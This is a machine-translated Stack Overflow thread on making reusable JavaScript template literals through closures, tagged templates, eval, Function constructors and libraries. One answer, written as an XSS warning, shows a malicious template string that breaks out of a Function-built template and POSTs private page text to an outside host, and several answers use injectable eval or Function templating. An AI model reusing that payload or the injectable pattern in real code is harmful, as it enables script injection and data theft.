Jos*_*osh 98 javascript ecmascript-6 template-literals
tl; dr:是否可以制作可重复使用的模板文字?
我一直在尝试使用模板文字,但我想我只是没有得到它,现在我感到沮丧.我的意思是,我认为我得到它,但"它"不应该是它如何工作,或它应该如何得到.应该有所不同.
我看到的所有示例(甚至是标记模板)都要求"替换"在声明时而不是运行时完成,这对我来说对于模板来说似乎完全没用.也许我很疯狂,但对我来说,一个"模板"是一个包含令牌的文档,当你使用它时,它们会被替换,而不是在你创建它时,否则它只是一个文档(即一个字符串).模板与令牌一起存储为令牌,当您评估它们时,将评估这些令牌.
每个人都引用了一个可怕的例子,类似于:
var a = 'asd';
return `Worthless ${a}!`
Run Code Online (Sandbox Code Playgroud)
这很好,但如果我已经知道a,我会return 'Worthless asd'或者return 'Worthless '+a.重点是什么?认真.好吧,重点是懒惰; 更少的优点,更多的可读性.大.但那不是模板!不是恕我直言.MHO就是最重要的!问题,恕我直言,模板在声明时被评估,所以,如果你这样做,恕我直言:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Run Code Online (Sandbox Code Playgroud)
由于expletive未声明,因此输出类似的内容My undefined template.超.实际上,至少在Chrome中,我甚至无法声明模板; 它会抛出错误,因为expletive没有定义.我需要的是能够在声明模板后进行替换:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
Run Code Online (Sandbox Code Playgroud)
但是,我不知道这是如何可能的,因为这些不是真正的模板.即使你说我应该使用标签,nope,它们也不起作用:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
Run Code Online (Sandbox Code Playgroud)
这一切都让我相信模板文字被错误地命名,应该被称为它们的真正含义:heredocs.我想"文字"部分应该让我失望(如,不可变)?
我错过了什么吗?是否有[好]方法来制作可重用的模板文字?
我给你,可重复使用的模板文字:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
Run Code Online (Sandbox Code Playgroud)
这是一个天真的"帮手"功能......
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
Run Code Online (Sandbox Code Playgroud)
......使它"更好".
我倾向于把它们称为模板guterals,因为它们产生了扭曲的感觉.
Que*_*les 69
要使这些文字像其他模板引擎一样工作,需要有一个中间形式.
执行此操作的最佳方法是使用Function构造函数.
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
Run Code Online (Sandbox Code Playgroud)
与其他模板引擎一样,您可以从其他位置(如文件)获取该字符串.
使用此方法可能会出现问题,例如模板标签很难使用,但如果您很聪明,可以添加这些标签.由于插值过晚,您也无法使用内联JavaScript逻辑.这也可以通过一些思考来弥补.
Poi*_*nty 54
您可以在函数中放置模板字符串:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
Run Code Online (Sandbox Code Playgroud)
你可以用标记的模板做同样的事情:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
Run Code Online (Sandbox Code Playgroud)
我们的想法是让模板解析器从变量"slots"中拆分出常量字符串,然后返回一个函数,每次根据一组新的值将它们全部补回.
Pil*_*mas 37
可能最简洁的方法是使用箭头函数(因为此时我们已经使用了ES6)
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
Run Code Online (Sandbox Code Playgroud)
...对于标记的模板文字:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
Run Code Online (Sandbox Code Playgroud)
这也避免了使用eval()或Function()可能导致编译器出现问题并导致大量减速的问题.
2018回答:
const fillTemplate = require('es6-dynamic-template');
Run Code Online (Sandbox Code Playgroud)
与目前的答案不同:
es6-dynamic-template在模板字符串中用法很简单.使用单引号作为模板字符串将在以后解决!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Run Code Online (Sandbox Code Playgroud)
2021 年出现了迄今为止最直接的解决方案。
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
Run Code Online (Sandbox Code Playgroud)
它几乎与编写和重用模板文字(OP 想要的)相同。
你可以从这里调整东西......
小智 7
如果你不希望使用命令参数或上下文/命名空间来引用您的模板中,变量例如${0},${this.something}或者${data.something},你可以有一个模板函数,负责划定范围的为您服务.
如何调用此类模板的示例:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
Run Code Online (Sandbox Code Playgroud)
模板功能:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
Run Code Online (Sandbox Code Playgroud)
在这种情况下的怪癖是你只需要传递一个返回ES6模板文字的函数(在我使用箭头函数的例子中).我认为获得我们追求的可重用插值是一个小的权衡.
这是在GitHub上:https://github.com/Adelphos/ES6-Reuseable-Template
简短的回答是只使用_.template在lodash
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
Run Code Online (Sandbox Code Playgroud)
简化@metamorphasi提供的答案;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
Run Code Online (Sandbox Code Playgroud)
感谢@Quentin-Engles 的出色想法和最佳答案,这让我开始了!
但我将新函数直接存储在变量中,而不是每次都返回函数,这样函数和模板文字都只构建一次,而不是每次调用它时,就像昆汀的答案中那样。
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.
Run Code Online (Sandbox Code Playgroud)
如果您正在寻找相当简单的东西(只是固定变量字段,没有计算,条件\xe2\x80\xa6),但在没有模板字符串支持的浏览器上也可以在客户端工作,例如 IE 8,9,10,11 \xe2 \x80\xa6
\n\nfillTemplate = function (templateString, templateVars) {\n var parsed = templateString;\n Object.keys(templateVars).forEach(\n (key) => {\n const value = templateVars[key]\n parsed = parsed.replace(\'${\'+key+\'}\',value)\n }\n )\n return parsed\n}\nRun Code Online (Sandbox Code Playgroud)\n
我错过了什么吗?有没有 [good] 方法来制作可重用的模板文字?
也许我遗漏了一些东西,因为我对这个问题的解决方案对我来说似乎很明显,以至于我很惊讶没有人已经在这么老的问题中写过了。
我有一个几乎是单行的:
function defer([first, ...rest]) {
return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}
Run Code Online (Sandbox Code Playgroud)
就这样。当我想重用模板并推迟替换的解析时,我只是这样做:
> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable'); // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null); // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'
Run Code Online (Sandbox Code Playgroud)
应用此标签返回 a 'function'(而不是 a 'string'),它忽略传递给文字的任何参数。然后可以稍后使用新参数调用它。如果一个参数没有相应的替换,它就会变成'undefined'。
这个简单的代码是功能性的,但是如果您需要更详细的行为,可以应用相同的逻辑,并且有无限的可能性。你可以:
您可以在构造中存储传递给文字的原始值,并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。这是一个将它们用作默认值的示例:
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
Run Code Online (Sandbox Code Playgroud)
然后:
> t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
> t('awesome'); // 'My template is: awesome and versatile'
Run Code Online (Sandbox Code Playgroud)
通过将此逻辑包装在一个函数中来实现,该函数期望一个自定义函数作为参数,该函数可以应用于归约(当连接模板文字的各个部分时)并返回一个具有自定义行为的新模板。
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
Run Code Online (Sandbox Code Playgroud)
然后你可以,例如,编写在编写嵌入的 html、css、sql、bash 时自动转义或清理参数的模板......
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
Run Code Online (Sandbox Code Playgroud)
使用这个天真的(我再说一遍,天真!)sql 模板,我们可以构建这样的查询:
> q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
> q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
Run Code Online (Sandbox Code Playgroud)
接受替换的命名参数:基于已经给出的内容,一个不那么难的练习。在另一个答案中有一个实现。
使返回对象表现得像一个'string': 嗯,这是有争议的,但可能会导致有趣的结果。显示在另一个答案中。
在调用站点解析全局命名空间中的参数:
我给你,可重用的模板文字:
好吧,这就是 OP 显示的是他的附录,使用命令,我的意思是,evileval。这可以在没有 的情况下完成eval,只需将传递的变量名称搜索到全局(或窗口)对象中即可。我不会展示如何去做,因为我不喜欢它。关闭是正确的选择。
是的,您可以通过Function(或eval)将带有模板的字符串解析为JS来做到这一点-但这不建议这样做,并且会允许XSS攻击
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example venomous string which will 'hack' fillTemplate function
var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain); // evil string attack here
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
window.parseString=parseString;Run Code Online (Sandbox Code Playgroud)
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }Run Code Online (Sandbox Code Playgroud)
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>Run Code Online (Sandbox Code Playgroud)
相反,您可以按照以下方式以动态方式将对象字段安全地插入obj模板str中
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
Run Code Online (Sandbox Code Playgroud)
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
Run Code Online (Sandbox Code Playgroud)
您可以只使用单行标记模板,例如:
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
Run Code Online (Sandbox Code Playgroud)
在客户端代码中,您可以像这样使用它:
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
29764 次 |
| 最近记录: |